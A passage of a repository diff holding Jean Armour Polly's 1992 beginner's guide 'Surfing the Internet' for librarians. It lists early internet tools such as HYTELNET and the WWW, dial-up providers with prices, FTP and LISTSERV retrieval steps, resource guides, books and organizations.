retrieval and hypertext to make an easy but +powerful global information system. The WWW world consists of documents, +and links. Indexes are special documents which, rather than being read, +may be searched. The result of such a search is another (`virtual') +document containing links to the documents found. The Web contains +documents in many formats. Those documents which are hypertext, +(real or virtual) contain links to other documents, or places +within documents. All documents, whether real, virtual or indexes, look +similar to the reader and are contained within the same addressing scheme. +To follow a link, a reader clicks with a mouse (or types in a number if +he or she has no mouse). To search and index, a reader gives keywords +(or other search criteria). These are the only operations necessary to +access the entire world of data." + +Info from: Tim Berners-Lee +WorldWideWeb project +CERN +1211 Geneva 23, Switzerland +Tel: +41(22)767 3755 FAX:+41(22)767 7155 +email:tbl@cernvax.cern.ch + +Hytelnet + +Peter Scott, the creator of HYTELNET, sends this recent update: +"HYTELNET version 6.3, the utility which gives an IBM-PC user instant- +access to all Internetaccessible library catalogs, FREE-NETS, CWISs, +BBSs, Gophers, WAIS, etc. is now available. You can get it via anonymous +ftp from: access.usask.ca in the pub/hytelnet/pc subdirectory. It is +listed as HYTELN63.ZIP." + +"Version 6.3 is a major upgrade. Much redundant information has been +deleted, and errors have been corrected. New subdirectories have been +added, which has meant that many files now have a more meaningful home. +Also all the new/updated files created since Version 6.2 were incorporated." + +"Note: the UNZIPPED files total over 1.2 mb but remember, you can always +edit out any information you do not need, in order to save space. +Information from Roy Tennant follows, slightly edited, describing how to +obtain HYTELNET 6.3 from the ftp site (thanks Roy)::" + +"TO RETRIEVE HYTELNET: +At your system prompt, enter: +ftp access.usask.ca or ftp 128.233.3.1 +When you receive the Name prompt, enter: anonymous +When you receive the password prompt, enter: your Internet address. +When you are at the ftp> prompt, enter: binary +At the next ftp> prompt, enter: cd pub/hytelnet/pc +Then enter: get hyteln63.zip + +After the transfer has occurred, either proceed with the instructions +below to retrieve the UNZIP utility (which you need unless you already +have it) or enter: quit + +The Hytelnet program is archived using a ZIP utility. To unarchive it, +you must be able to "unzip" the file. If you have the file PKUNZIP.EXE, +it will unarchive the HYTELN63.ZIP file (see below for instructions). +If you do not have it, you may retrieve it by following these instructions: + +TO RETRIEVE PKUNZIP: +Use the above instructions for connecting to: +access.usask.ca At the ftp> prompt, enter: binary +Then enter: cd pub/hytelnet/pc +Then enter: get pkunzip.exe +After the transfer has occurred, enter: quit + +TO DOWNLOAD IT TO YOUR PC: +Because of the plethora of PC communications programs, I will not attempt +to give step-by-step instructions here. You should check the instructions +for your software for downloading a *binary* file from your Internet account +to your PC. + +TO UNARCHIVE HYTELN63.ZIP: +Make a new directory on your hard disk (e.g., mkdir hytelnet) Copy +PKUNZIP.EXE and HYTELN63.ZIP into the new directory Make sure you +are in that directory, then enter: pkunzip HYTELN63 It will then +unarchive HYTELN63.ZIP, which contains the following files: HYTELNET.ZIP +READNOW. The file READNOW gives full instructions for un-archiving +HYTELNET.ZIP. Simply put, you **MUST** unZIP the file with the -d +parameter so that all the subdirectories will be recursed. + +To use HYTELNET, you should refer to the instructions in the release +announcement by Peter Scott, or to the README file included with the package." + +"PLEASE NOTE that I offer the above instructions as a service for those +who are unfamiliar with the steps required to download and use files from +network sources. I cannot be responsible for any local variations in these +procedures which may exist. Please contact your local computer support +staff if you have difficulty performing these tasks." + +"The UNIX/VMS version, created by Earl Fogel, is available for browsing +by telnet to access.usask.ca login with hytelnet (lower case). +For more information on this version contact Earl at: fogel@skyfox.usask.ca." + + + +How to Get Connected + +Now that you're interested in what resources are available, how does one go +about getting connected? Time was that you needed a standard, dedicated +connection to the Internet. Then you needed a robust computer system and +a couple of zany gurus to keep it all running. And once a year you could +expect an invoice in the $30,000 range to keep the data flowing. + +These days, anyone can connect, from small libraries and non-profits to +individuals. (and of course commercial-mh) And the prices are affordable. + +There is a NSFNet acceptable-use policy you must agree to adhere to +if your traffic passes through NSFNet. It is available from the NSF +Network Service Center. + +Contact your regional network first to see what services might be available +to you. A list of regional nets can be obtained from the NSF Network +Service Center (address below), or check with a local college or +university's academic computing center. A university may be able to give +you a guest account on its system for educational purposes. + +Access to electronic mail alone is roughly $20 a month at this writing. +Additional capabilities, including telnet and ftp, cost more, and it will +cost $2,000 or more per year if you want to operate your own host system. +The good news is that the costs are spiraling downwards. Here are a few other +methods of connecting to the net. Many more are listed in the "must-have" +books at the end of this article. + +CERFnet +The California Education and Research Federation (CERFnet) has announced +DIAL N' CERF USA. It allows educators, scientists, corporations, and +individuals access to the Internet from anywhere in the continental US. + +A toll-free number, 1-800-7CERFNET (1-800-723-7363), provides subscribers +with the capability to log in to remote machines, transfer files, and send +and receive electronic mail, as if they had a standard, dedicated connection. +The cost of this toll-free connection is $20 a month with a $10 per hour +usage fee and free installation. There is an installation charge of $50. + +CERFnet +California Education and Research Federation +c/o San Diego Supercomputer Center +P.O. Box 85608 +San Diego, CA 92186-9784 +800/876-CERF or 619/534-5087 +help@cerf.net + + +Performance Systems International + +PSI offers several permutations of network connectivity, including low-end +email-only accounts, dial-up host connectivity on demand, and dedicated +connections. Costs are competitive and performance is reliable. PSI has +POPs (points of presence) in over forty U.S. cities. + +PSILink, email and delayed ftp, is $19 a month for 2400 baud service or +below, $29 per month for 9600 baud service. + +GDS (Global Dialup Service) includes telnet, rlogins at $39 a month, +2400 baud, 24 hour access. + +Host DCS (Dialup Connection Service), at about $2000 per year, +includes a full suite of internet activities (mail, news, ftp, telnet). + +Performance Systems International, Inc. +11800 Sunrise Valley Dr. Suite 1100 +Reston, VA 22091 +800/82PSI82 or 703/620-6651 FAX: 703/620-4586 +info@psi.com. All-info@psi.com generates an automatic reply response +containing summaries of various PSI products. + + +Software Tool & Die + +Software Tool & Die offers The World, a public access Unix system: +The basic rates are $2 per hour and a $5 monthly account fee. +Services offered by The World include internet electronic mail, +USENET news, ClariNet -UPI, AP, and satellite news services, +real-time chat, Unix Software, Archie, the Online Book Initiative +(a publicly accessible repository for freely redistributable +collections of textual information, a net-worker's library.) +AlterNet Access - Users have access to AlterNet via ftp/telnet. +The World can also be accessed over the Compuserve Packet Network. +You do not have to be a Compuserve subscriber to use this network, +but you will be billed for its use. + +The WORLD +Software Tool & Die +1330 Beacon Street +Brookline, MA 02146 +617/39-0202 + +Daniel Dern also provides the following definitive information file on +how to get connected: +Daniel Dern's Short Answer to "How do I get a list of Internet +Service/Access Providers for Individual Accounts": + +For a list of Internet Service Providers contact: + +NSF Network Service Center (NNSC) +BBN Laboratories Inc. +10 Moulton St. +Cambridge, MA 02238 +617/873-3361 +nnsc@nnsc.nsf.net + +The NNSC info-server utility can also automatically e-mail you a copy of +this list and other documents. Simply send an e-mail message to: +info-server@nnsc.nsf.net + +with the following text in the body: + +request: nsfnet +topic: +topic: +request: end + +You don't need to put anything in the subject line. + +"referral-list" gets you the NNSC's referral list of Internet Service +Providers based in the U.S. (possibly providing international service). +This is generally agreed to be the most comprehensive and least-biased list. +"limited-referral" gets you the NNSC's referral list of Internet providers +for "limited service," which includes Dial-Up IP, Internet E-mail. + +"help" (recommended) gets you the Help document for the info-server facility. + +For a list of dial-up-accessible Public-Access Internet Hosts (Unix BBSs +that can do telnet, ftp, etc., that can you can access by calling from +your PC and modem), see the PDIAL list, maintained by Peter Kaminski. +Kaminski periodically posts an updated version to the usenet groups +alt.bbs.lists and alt.bbs.internet; also, the most recent edition may +be obtained by sending e-mail to: +kaminski@netcom.com +with the +`Send PDIAL' + +in the subject. To be placed on a list to receive future editions +automatically, send e-mail to: +kaminski@netcom.com with `Subscribe PDIAL' in the subject. + +The `nixpub' list is a frequently updated list of Public-Access unix +Systems -Unix-based BBSs usually carrying usenet news, supporting e-mail +connectivity to the Internet, and with some mix of local archives, multi- +user games, etc. The full list is long (over 1,000 lines). To get a +current copy of `nixpub' as an automatic e-mail reply, Send a message to +`nixpub@digex.com' (no subject or message text needed), or to +`archive-server@cs.widener.edu' with message body of one of these: + +send nixpub long +send nixpub short +send nixpub long short +index nixpub + +The nixpub and nixpub.short lists are regularly reposted to the USENET +comp.misc and alt.bbs groups + +Info from: Daniel P. Dern Free-lance technology writer +P.O. Box 309 +Newton Centre, MA 02159 +617/969-7947 FAX: 617/969-7949 +ddern@world.std.com + + +Resources for Learning More + + +CERFnet Network Information Center (NIC) + +This is a repository for many eclectic internet guides and RFC (Requests +For Comments) from many sources, including the famous, if technical +"Hitchhiker's Guide to the Internet." These may be obtained via anonymous +ftp to nic.cerf.net (192.102.249.3). +Call the CERFnet Hotline at 800-876-CERF for assistance. +California Education and Research Federation +c/o San Diego Supercomputer Center +P. O. Box 85608 +San Diego, CA 92186- 9784 +800/876-CERF or 619/534-5087 +help@cerf.net + + +CICNet Resource Guide + +Over 200 pages of Internet resources, published June, 1992. Copies are +$27.00 from CICNet, Inc. +Attn Kim Schaffer +2901 Hubbard Pod A +Ann Arbor, MI 48109. +313/998-6103 FAX 313/998-6105 +info@cic.net + + +"The December Lists" + +"Information Sources: the Internet and Computer-Mediated Communication" +Compiled by John December (decemj@rpi.edu) +Here is part of his information file on this excellent resource: + +"This document or updates are available via anonymous ftp. +Host: ftp.rpi.edu +file: /pub/communications/internet-cmc + +PURPOSE: to list pointers to information describing the Internet, +computer networks, and issues related to computer- mediated +communication (CMC). Topics of interest include the technical, social, +cognitive, and psychological aspects of CMC. + +AUDIENCE: this file is useful for those getting started in understanding +the Internet and CMC; it compactly summarizes sources of information for +those who are already exploring these issues. + +ASSUMPTIONS: to access many information sources listed here you must +have access to and know how to use anonymous ftp, email, or USENET +newsgroups. Some files are in TeX or PostScript format. + +Contents: +Section -1- THE INTERNET AND SERVICES +Section -2- INFORMATION SERVICES/ELECTRONIC PUBLICATIONS +Section -3- SOCIETIES AND ORGANIZATIONS +Section -4- NEWSGROUPS +Section -5- SELECTED BIBLIOGRAPHY" + + +"Emily Postnews Answers Your Questions on Netiquette" + +Brad Templeton's (brad@looking.on.ca) satirical and hilarious piece on +how NOT to behave on the net. Emily Postnews, foremost authority on +proper net behaviour, gives her advice. There are many places to ftp this +file, and it is appearing on many gophers. One place to get the file is by +ftp to ra.msstate.edu (130.18.80.10) +Location: /pub/docs/words- l/Funnies + +The file is called emily.postnews. Here is a sample: + +"Dear Miss Postnews: +How long should my signature be? +-- verbose@noisy + +A: Dear Verbose: +Please try and make your signature as long as you can. It's much more +important than your article, of course, so try to have more lines of +signature than actual text. Try to include a large graphic made of +ASCII characters, plus lots of cute quotes and slogans. People will +never tire of reading these pearls of wisdom again and again, and you +will soon become personally associated with the joy each reader feels +at seeing yet another delightful repeat of your signature. Be sure +as well to include a complete map of USENET with each signature, to +show how anybody can get mail to you from any site in the world. +Be sure to include Internet gateways as well. Also tell people +on your own site how to mail to you. Give independent addresses +for Internet, UUCP, and BITNET, even if they're all the same." + + +"Incomplete Guide to the Internet" + +The "Incomplete Guide" was compiled by the NCSA Education Group, +dated September, 1992. It is also available for anonymous FTP at: + +ftp.ncsa.uiuc.edu in the /misc directory + +This excellent manual is a must. +It even covers SLIP connections and use of Eudora. + +Here are some comments about it from cfarmer@ncsa.uiuc.EDU (Chuck Farmer): +"The first half of the text is devoted to the mechanics of telecommunications, +how to connect, what to do once you are connected, etc. The second half of +the manual is devoted to current telecommunications projects, past successful +projects, and resources. The resources include FTP sites, open BBS's and +networks, Free-Nets, subscription services, and where to get more information +on each resource. This resource was complied by the Living Lab program +(NSF funded) at NCSA as an attempt to encourage the proliferation of HPCC +use in the K-12 classroom. We welcome your comments and suggestions. + +For further information: +National Center for Supercomputing Applications +605 E Springfield Ave. +Champaign, IL 61820 +217/244-6122 + + +"Library Resources on the Internet: +Strategies for Selection and Use" 1992. +RASD Occasional Paper no. 12, selling for $18 to members, +$20 for nonmembers. It can be ordered from: +ALA Order Services +50 E. Huron +Chicago, IL 60611, +800/545-2433 + +Electronic versions available via FTP +ASCII file from: +host DLA.UCOP.EDU (128.48.108.25) +directory /pub/internet/Libcat-guide + +host FTP.UNT.EDU (129.120.1.1) +directory /pub/library/libcat-guide + +WordPerfect 5.1 file from: +host HYDRA.UWO.CA (129.100.2.13) +directory libsoft/internet.com + +Merit's Cruise of the Internet + +This attractive overview looks great on a Macintosh. +I have not seen the Windows version. + +From the README text: "Merit's `Cruise of the Internet' is a computer- +based tutorial for new as well as experienced Internet `navigators.' +The Cruise will introduce you to Internet resources as diverse as +supercomputing, minorities, multimedia, and even cooking. It will also +provide information about the tools needed to access those resources." + +ftp to NIC.MERIT.EDU /internet/resources. There are Macintosh and +Windows versions, and README text files to explain installation procedures. + +A Cruise of the Internet +Version 2.01 for Apple Macintosh computers +December 1, 1992 + +SYSTEM REQUIREMENTS +This tutorial will run on any color Macintosh which is capable of +displaying 256 colors. + +To run the Cruise tutorial you will need: + +- A Macintosh II, LC or Quadra series computer +- 8-bit color and any color monitor (12" minimum) +- System 6.05 or 7.x +- Approximately 3 MB of disk space +- 4 MB RAM is recommended +- Internet connectivity and software that does file transfers via FTP. + +A Cruise of the Internet +Version 2.0 for IBM-DOS and DOS compatibles running Windows +October 28, 1992 + +SYSTEM REQUIREMENTS: +This tutorial will run on any IBM-DOS or DOS-compatible computer +which is equipped to display 256 colors at an aspect ratio of 640 x 480. + +To run the Cruise tutorial you will need: + + - An IBM-DOS or DOS-compatible computer +- XGA- or XGA-compatible adapter set to display 256 colors at 640 x 480 +- Microsoft Windows(TM) version 3.1 +- Approximately 1.5 MB of disk space +- 2 MB RAM minimum +- Internet connectivity and software that does file transfers via FTP. + + +"Mining the Internet" + +The Net as mine metaphor is a popular theme. Tunneling through the +network matrix in search of gems and ore is not far from fact. +Sometimes it is hard work, and a lot of it is working in the dark. + +There is a guidebook called "Mining the Internet", available from +University of California at Davis. Here is how the Gold Country Mining + +Instructions begin: +"Jist durn tuckered o' workin' eight t' five for a salary. ain't you? +An' you wanna set out for parts unknown. You're hankerin' for an a'venture. +Come'n then go `Mining the Internet' with me, father of Clementine +(that's my darlin'), and I'll tell you some old timey tales and +introduce you to a new resource for students, faculty, and staff called +wide area networking 'Taint goin' to hurt you any, and the prospect looks +good for a lucky strike." + +"Mining the Internet" and "Using the Internet A&B" available from: +Computing Services +University of California +Davis, CA 95616-8563 +916/752-0233. +Or electronically by anonymous ftp from +ucdavis.edu (128.120.2.1) +directory /ucd.netdocs/mining + + +NSF Network Service Center (NNSC) + +NSF Internet Tour HyperCard Stack--borrow a Macintosh long enough +to view this, worth the effort! Includes net history, net maps, +net poetry and lore. Free. + +They also publish a very complete Internet Resource Guide ($15). +Many items, including the HyperCard Tour to the Internet, freely +available by anonymous +ftp from nnsc.nsf.net + +NNSC +Bolt Beranek and Newman Inc. +10 Moulton Street, Cambridge, MA 02138 +617/873-3400 +nnsc@nnsc.nsf.net + + +New User's Guide to Unique and Interesting Resources on the Internet 2.2. + +Available from NYSERNet (New York State Education and Research Network). +It is over 145 pages and lists some 50 sources. OPACS, databases, +information resources, and more. The New User's Guide is available +in hard copy at the cost of $25.00. (NYSERNet Members: $18.00) +It is available electronically at +nysernet.org (192.77.173.2) +in the directory +/pub/resources/guides + +It is called the new.user.guide.v2.2.txt + +For more information: +NYSERNet, Inc. +111 College Pl. +Syracuse, NY 13244-4100 +315/443-4120 FAX 315/425-7518 +info@nysernet.org + + +NorthWestNet User Services Internet Resource Guide + +NorthWestNet has released a 300-page guide to the Internet, covering +electronic mail, file transfer, remote login, discussion groups, +online library catalogues, and supercomputer access. + +Copies may be purchased for $20.00 from NorthWestNet. +It is also available via anonymous ftp: +ftphost.nwnet.net +in the directory +/nic/nwnet/user-guide + +NorthWestNet +15400 SE 30th Place, Suite 202, +Bellevue, WA 98007 +206/562-3000 FAX: 206/562-4822 + + +"There's Gold in Them Thar Networks! or Searching for Gold in all the +Wrong Places" written by Jerry Martin at Ohio State University. This +document is available via Internet message to Infoserver@nnsc.nsf.net. +Once inside the message area, give the following commands to retrieve the +document: REQUEST:NSFNET +TOPIC:NETWORK-TREASURES +REQUEST: END + + +"The Yanoff Lists" + +"Special Internet Connections" Compiled by Scott Yanoff. +This is an indispensable weekly list of network resources +available using telnet and ftp. + +It includes a few Online Public Access Catalogs, chat lines, weather +servers, Campus Wide Information Systems, and reference resources. +Send e-mail to the list manager (Scott Yanoff) at: +yanoff@csd4.csd.uwm.edu +or +ftp to csd4.csd.uwm.edu +The filename is inet-services. + + +How to Find out More About Discussion Lists + +Thousands of discussion groups, LISTSERVs, and mail reflectors exist on +the Internet. Here are several ways to find lists of interest to you. + +LISTSERVs available from NYSERNet.org +Nysernet.org hosts over 20 lists, including folk_music and PUBLIB for +public librarians. Send a LIST GLOBAL command in an interactive +message to our host. For example: + +To: LISTSERV@nysernet.org +Subject: +Message: LIST GLOBAL + +The SRI NIC Maintained Interest-Groups List of Lists +This is available by FTP from ftp.nisc.sri.com (192.33.33.22) in the +directory /netinfo/interest-groups. + +The SRI NIC list-of-lists is also available via electronic mail. Send a +message to mail-server@nisc.sri.com with the following line in the +message body: +Send netinfo/interest-groups +Example: +To: mail-server@nisc.sri.com +Subject: +Message: Send netinfo/interest-groups + + +The List of Lists + +A comprehensive list-of-lists can be obtained from some larger host +computers running LISTSERV software, by sending a LIST GLOBAL command +in an interactive message. This will return a "one line per list" +list of all lists known to that host as of that date. +For example: +To: LISTSERV@VM1.NoDak.EDU mail +Subject: +Message: LIST GLOBAL + +The global list can also be searched online. +For details send LISTSERV the command INFO DATABASE + + +Network Accessible Database Server + +Only available on the LISTSERV@VM1.NoDak.EDU is a searchable interest +groups database. For example, to search of the databases for lists +on "cats" you would send the following statements (copy them exactly into +your mail message to the LISTSERV): + +//DBlook JOB Echo=No +Database Search DD=Rules +//Rules DD * +Select cats in lists +index +Select cats in intgroup +index +Select cats in new-list +index + +These statements search the global LISTSERV list of lists ("in lists"), +and the local copy of the SRI-NIC Interest Groups ("in intgroup"), and +the archives of the "new-list" list ("in new-list"). Send LISTSERV the +command INFO DATABASE for more information. + + +The 5th Revision of the Directory of Scholarly Electronic Conferences + +This resource is available at LISTSERV@KENTVM or +LISTSERV@KENTVM.KENT.EDU and via anonymous FTP to +ksuvxa.kent.edu +in the +library +directory. + +This announcement is extracted from the ACADLIST README FILE + +"This directory contains descriptions of 805 electronic conferences +(econferences) on topics of interest to scholars. E- conference is the +umbrella term that includes discussion lists, interest groups, e-journals, +e-newsletters, Usenet newsgroups, forums, etc. We have used our own +judgment in deciding what is of scholarly interest -- and accept any advice +or argument about our decisions. We have placed the entries into +categories by deciding what the *dominant* academic subject area of the +electronic conference is." + +"The 5th Revision involves an attempt to make it easier to feed the +Directory into HyperCard(TM), dBase(TM) and other database programs. +The first step in this effort has been to use field labels for each part of +each record. We've also reduced the size of each record by trying to keep +topic information between 25-50 words (some are still bigger). Advice on +this topic will be gratefully accepted at dkovacs@kentvm.kent.edu." + +"In addition, information about editorial policy and archive availability +and frequency have also been included in each record. Where possible the +information in each record has been checked for currency and accuracy by +checking the LISTSERV header in the case of LISTSERV based e-conferences +and contacting the moderators of other kinds of e-conferences." + +"The field labels are as follows: +LN: (e-conference name) +TI: (topic information) +SU: (subscription information) +ED: (edited? Yes or No) +AR: (archived? if Yes, frequency, private=subscribers only) +MO: (moderator, editor, listowner, manager, coordinator, etc.) +IA: (`official' institutional affiliation)." + +"Topic descriptions are taken in whole or part from the descriptions +provided by each listowner, editor, moderator or coordinator to the +New-List, the List of Lists, and the Internet Interest Groups file." + +"Any errors are the responsibility of the compiler of the Electronic +Conferences for Academics Files. If you can provide corrections or +additional information about any of these electronic conferences, +please contact: + +Diane Kovacs (Bitnet) DKOVACS@KENTVM (Internet) +DKOVACS@KENTVM.KENT.EDU + +These files are available on the Directory of Scholarly E-Conferences: +ACADLIST README (explanatory notes for the Directory) +ACADSTCK HQX (binhexed, self-decompressing, HyperCard Stack of + entire Directory - Keyword searchable) +ACADLIST FILE1 (Anthropology- Education) +ACADLIST FILE2 (Geography-Library and Information Science) +ACADLIST FILE3 (Linguistics-Political Science) +ACADLIST FILE4 (Psychology-Writing) +ACADLIST FILE5 (Biological sciences) +ACADLIST FILE6 (Physical sciences -now includes Academic Computing + and Computer Science) +ACADLIST FILE7 (business, Academia, news) +ACADWHOL HQX (binhexed self-decompressing Macintosh M.S. Word + 4.0 document of all 7 directories) +ACADLIST.CHANGES (Major additions and deletions) + +How to retrieve the abovefiles via mail + +1. Send an e-mail message addressed to LISTSERV@KENTVM or + LISTSERV@KENTVM.KENT.EDU. +2. Leave the subject and other info lines blank. +3. The message must read: GET Filename Filetype + (e.g.,filename=ACADLIST filetype=FILE1 or HQX or whatever) +4. The files will be sent to you and you must receive them. +5. If you need assistance receiving, etc. contact your local Computer + Services people. + +How to retrieve the files via anonymous FTP (File Transfer Protocol) + +FTP to KSUVXA.KENT.EDU +1. when prompted for `USERID,' type ANONYMOUS. +2. Your password will be your actual userid on your local machine. +3. Type: cd library +4. Type: GET Filename.Filetype (e.g., filename=ACADLIST + filetype=FILE1 or HQX or whatever) +5. The files will be transferred directly into the directory you ftp'ed + from at your site. + + +New Lists and List Changes + +New lists are being started every day, and old ones fade away. +To find out bout these changes, join the NEW-LIST mailing. + Here is part of their Welcome message: + +"The `NEW-LIST' list has been established as a central address to post +announcements of new public mailing lists. In addition, `NEW-LIST' might +be used as a final verification before establishing a list (to check for +existing lists on the same topic, etc.). However, be sure to check sources +such as the Internet List-of-Lists (SIGLIST or INTEREST-GROUPS list), +LISTSERV GROUPS, and the LISTS database on the major LISTSERVs +(we have the LISTS database on NDSUVM1)." + +"We will gladly rebroadcast New List announcements, final list proposals +(to avoid conflicts or redundancy), or emergency announcements about the +availability of some list. + + +List Review Service + +These folks subscribe to and monitor a list for awhile and then report on it +to everyone else. It's a great idea and a useful way to "sample" a list. +Here is the subscription information. Email its author to be added to the +List Review Service list, BITNET ADDRESS: SRCMUNS@UMSLVMA + +LIST REVIEW SERVICE ISSN: 1060-8192 Published bi-weekly, when school +is in session, by The University of Missouri, St. Louis Libraries. +Raleigh C. Muns, editor. +For more information: +Thomas Jefferson Library +University of Missouri St. Louis +8001 Natural Bridge Road +St. Louis, MO 63121 +314/553-5059 + + +Internet Library Guides + +Three different Internet library guides are available to help both +beginning and experienced OPAC users. + +Art St. George's Internet-Accessible Library Catalogs and Databases includes +directions for Internet libraries and Campus Wide Information Systems as +well as dialup libraries and bulletin boards in the United States. +Available from: +ariel.unm.edu +/LIBRARY/INTERNET.LIBRARY + +Billy Barron's Accessing On-line Bibliographic Databases contains a number +of useful features such as guides to local OPAC escape sequences and commands. FTP to ftp.unt.edu +(129.120.1.1) +/LIBRARY/LIBRARIES.TXT + +Dana Noonan's A Guide to Internet/Bitnet comes in two parts. Part two is +about Internet Libraries. It is an easy to use guide to many national and +international OPACS and their login and use instructions. (available via +anonymous ftp from vm1.nodak.edu then CD NNEWS (although nnews may not +show up on the directory menu, it works.) A printed version is available +for $10 from Metronet. For more information: +Metronet +226 Metro Square Building +Seventh and Robert Streets +St. Paul, Minnesota 55101 +612/224-4801 FAX 612/224-4827 + + +Must-have Books for the Internet Surfer + +Kehoe, Brendan. (1993). Zen and the Art of the Internet: a Beginner's +Guide (2nd ed.). Englewood Cliffs, NJ: Prentice-Hall. The first edition is +available for free from many FTP sites (see below) This version has about +30 pages of new material and corrects various minor errors in the first +edition. Includes the story of the Coke Machine on the Internet. For much +of late 1991 and the first half of 1992, this was the document of choice +for learning about the Internet. ISBN 0-13-010778-6. Index. $22.00 + +To ftp Zen 1.0 in a PostScript version: +ftp.uu.net [137.39.1.9] directory /inet/doc +ftp.cs.toronto.edu [128.100.3.6] directory /pub/zen +ftp.cs.widener.edu [147.31.254.132] directory /pub/zen as zen-1.0.tar.Z, + zen-1.0.dvi, and zen-1.0.PS +ftp.sura.net [128.167.254.179] directory /pub/nic as zen-1.0.PS +It is also available to read on many Gopher servers. + + +Krol, Ed. (1992). The Whole Internet User's Guide & Catalog. Sebastopol, +CA: O'Reilly & Associates. Comprehensive guide to how the network +works, the domain name system, acceptable use, security, and other issues. +Chapters on telnet/remote login, File Transfer Protocol, and electronic +mail explain error messages, special situations, and other arcana. Archie, +Gopher, Net News, WAIS, WWW, and troubleshooting each enjoy a chapter in this +well-written book. Appendices contain info on how to get connected in +addition to a glossary. ISBN 1-56592-025-2. $24.95 + + +LaQuey, Tracey, & Ryer, J.C. (1993). The Internet Companion: a +Beginner's Guide to Global Networking. Reading, MA: Addison-Wesley. +Beginning with a forewordby Vice-President Elect Al Gore, this book +provides an often-humorous explanation of the origins of the Internet, +acceptable use, basics of electronic mail, netiquette, online resources, +transferring information, and finding email addresses. The In the Know +guide provides background on Internet legends (Elvis sightings is one), +organizations, security issues, and how to get connected. Bibliography. +Index. ISBN 0-201-62224-6 $10.95 + + +Marine, April. (1992). INTERNET: Getting Started.. Menlo Park, CA: SRI +International. This book has an international overview, and includes things +the others don't, such as an index to all the RFC's (Request for Comments), +Internet organizations, source information for the TCP/IP CD ROM, and +the answer to "who is in charge of the Internet?" (No one is. The Internet +is a cooperating group of independently administered networks. Some groups +set basic policy though.) ISBN 0-944604-15-3 $39.00 +SRI +333 Ravenswood Ave. +Menlo Park, CA 94025 + + +Tennant, Roy, Ober, J., & Lipow, A. G. (1993). Crossing the Internet +Threshold: An Instructional Handbook. Berkeley, CA: Library Solutions +Press. A cookbook to run your own Internet training sessions. Real- world +examples. Foreword by Cliff Lynch. ISBN: 1-882208-01-3 $45.00 +Library Solutions Institute and Press +2137 Oregon Street Berkeley, CA 94705 +510/841-2636 FAX: 510/841-2926 + + +Magazine + +Matrix News, the monthly newsletter edited by John S. Quarterman. +Subscriptions are $30 per year. for a paper edition, $25/yr for an online +edition. Matrix News, Matrix Information & Directory Services, Inc. +(MIDS) +1106 Clayton La. +Suite 500 W +Austin, TX 78746 +512/329-1087 FAX: 512/327-1274 +mids@tic.com + + +Organizations + +CNI Coalition for Networked Information +1527 New Hampshire Ave., NW +Washington, DC 20036 +202/232-2466 FAX: 202/462-7849 +info@cni.org + +CPSR Computer Professionals for Social Responsibility +PO Box 717 +Palo Alto, CA 94302 +415/322-3778 FAX: 415/322-3798 +CPSR Newsletter, annual Computers, Freedom and Privacy Conference, poster +("Technology is driving the future-- it's time to find out who's steering.") +cpsr@clsi.stanford.edu + +EFF The Electronic Frontier Foundation, Inc. +155 Second St. +Cambridge, MA 02141 +617/864-1550 FAX: 617/864-0866 +Publishes the EFFector in online and print editions. T-shirts, +bumper stickers ("I'd rather be telecommuting"; "ISDN: Make it so."; +"CYBERNAUT") +eff@eff.org + + +Internet Society +1895 Preston White Drive +Suite 100 +Reston, VA 22091 +703/620-8990, FAX 703/620-0913 +Annual conference, quarterly Internet Society News. +isoc@nri.reston.va.us + +============================================= +For more information about this article: +Jean Armour Polly +Manager of Network Development and User Training +NYSERNet, Inc. +111 College Place +Syracuse, NY 13244-4100 +315/443-4120 +FAX: 315/425-7518 +jpolly@nysernet.org +============================================= + + + diff --git a/textfiles.com/internet/surfpoly.txt b/textfiles.com/internet/surfpoly.txt new file mode 100644 index 00000000..c59a6a24 --- /dev/null +++ b/textfiles.com/internet/surfpoly.txt @@ -0,0 +1,1401 @@ +Surfing the INTERNET: an Introduction Version 2.0.2 +December 15, 1992 + +c. 1992 Jean Armour Polly. Material quoted from other authors was +compiled from public Internet posts by those authors. No copyright claims +are made for those compiled quotes. Permission to reprint is granted for +nonprofit educational purposes. Please let me know if you find this +compilation useful. This first (much shorter) version of this appeared in the + +June, 1992 Wilson Library Bulletin. Please include this entire +copyright/copy notice if you duplicate this document. Updates may be ftp'd +from nysernet.org (192.77.173.2) /pub/resources/guides. Please choose the +most current version of surfing.the.internet. + +Please send updates and corrections to: jpolly@nysernet.org + +Today I'll travel to Minnesota, Texas, California, Cleveland, New Zealand, +Sweden, and England. I'm not frantically packing, and I won't pick up any +frequent flyer mileage. In fact, I'm sipping cocoa at my Macintosh. My +trips will be electronic, using the computer on my desk, communications +software, a modem, and a standard phone line. + +I'll be using the Internet, the global network of computers and their +interconnections, which lets me skip like a stone across oceans and +continents and control computers at remote sites. I haven't "visited" +Antarctica yet, but it is only a matter of time before a host computer +becomes available there! + +This short, non-technical article is an introduction to Internet +communications and how librarians and libraries can benefit from net +connectivity. Following will be descriptions of electronic mail, discussion +lists, electronic journals and texts, and resources available to those +willing +to explore. Historical details about the building of the Internet and +technical +details regarding network speed and bandwidth are outside the scope of this +piece. + +What's Out There Anyway? + +Until you use a radio receiver, you are unaware of the wealth of +programming, music, and information otherwise invisible to you. Computer +networks are much the same. About one million people worldwide use the +Internet daily. Information packet traffic rises by 12% each month. + +About 727,000 host computers are connected, according to a January, 1992 +report (Network Working Group Request for Comments: 1296) by Mark +K. Lottor. So, what's all the excitement about? What's zipping around in +that fiber and cable and ether, anyway? + +On my electronic adventure I browsed the online catalog at the University +Library in Liverpool England, leaving some "hi there from Liverpool New +York" mail for the librarian. + +I downloaded some new Macintosh anti-virus software from Stanford's +SUMEX archive. + +Then I checked a few databases for information needed for this article, and +scanned today's news stories. + +I looked at the weather forecast for here in the East and for the San +Francisco Bay area, forwarding that information to a friend in San Jose +who would read it when he woke up. The Internet never closes! + +After that I read some electronic mail from other librarians in Israel, +Korea, +England, Australia and all over the U.S. We're exchanging information +about how to keep viruses off public computers, how to network CD +ROMS, and how to reink inkjet printer cartridges, among other things. + +I monitor about twelve discussion groups. Mail sent to the group address is +distributed to all other "subscribers". It's similar to a round-robin +discussion. These are known variously as mailing lists, discussion groups, +reflectors, aliases, or listservs, depending on what type they are and how +they are driven. Subscriptions are free. + +One of these groups allows children and young adults all over the world to +communicate with each other. Kids from Cupertino to Moscow are talking +about their lives, pets, families, hope and dreams. It's interesting to see +that +Nintendo is a universal language! + +Teachers exchange lesson plans and bibliographies in another group, and +schools participate in projects like the global market basket survey. For +this +project, students researched what foods a typical family of four would buy +and prepare over one week's time. Their results were posted to the global +project area, where they could be compared with reports from kids all over +North and 